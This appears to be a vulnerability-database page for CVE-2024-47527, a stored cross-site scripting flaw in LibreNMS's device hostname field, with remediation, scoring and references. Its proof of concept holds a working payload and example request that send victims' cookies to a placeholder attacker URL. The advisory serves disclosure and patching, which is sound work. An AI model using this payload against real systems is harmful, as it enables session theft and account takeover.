CVE-2024-47527 — Vulnerability in librenms/librenms — CVE Details
LibreNMS has Stored Cross-site Scripting vulnerability in "Device Dependencies" feature
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.75%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2024-47527 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details
The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.
For example, the following payload can be used to exploit the vulnerability:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"
When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.
The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.
This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74
PoC
- Add a new device using the following payload for the hostname:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie" - Save the device.
- Navigate to the device dependencies page.
- Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.
Example Request:
POST /addhost HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>
_token=<your_token>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attacker_url>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=
Impact
It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Advisory Timeline
- First published October 1, 2024 (786 days ago).
- Last revised October 1, 2024 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^24.9.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+124 more) | 24.9.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
References
- https://github.com/librenms/librenms/security/advisories/GHSA-rwwc-2v8q-gc9vWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-47527ADVISORY
- https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685WEB
- https://github.com/librenms/librenmsPACKAGE
- https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74WEB
Frequently Asked Questions
- What is CVE-2024-47527?
- LibreNMS has Stored Cross-site Scripting vulnerability in "Device Dependencies" feature. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2024-47527?
- CVE-2024-47527 affects librenms/librenms. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-47527 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 51.1% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2022-4070CRITICAL
Insufficient Session Expiration in librenms/librenms
- CVE-2026-84192HIGH
LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
- CVE-2024-49759HIGH
Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
- CVE-2024-52526HIGH
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
- CVE-2024-50350HIGH
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
- CVE-2025-62365MEDIUM
LibreNMS is vulnerable to Reflected-XSS in `report_this` function
- CVE-2026-26992MEDIUM
LibreNMS /port-groups name Stored Cross-Site Scripting
- CVE-2024-47528LOW
LibreNMS vulnerable to Stored Cross-site Scripting via File Upload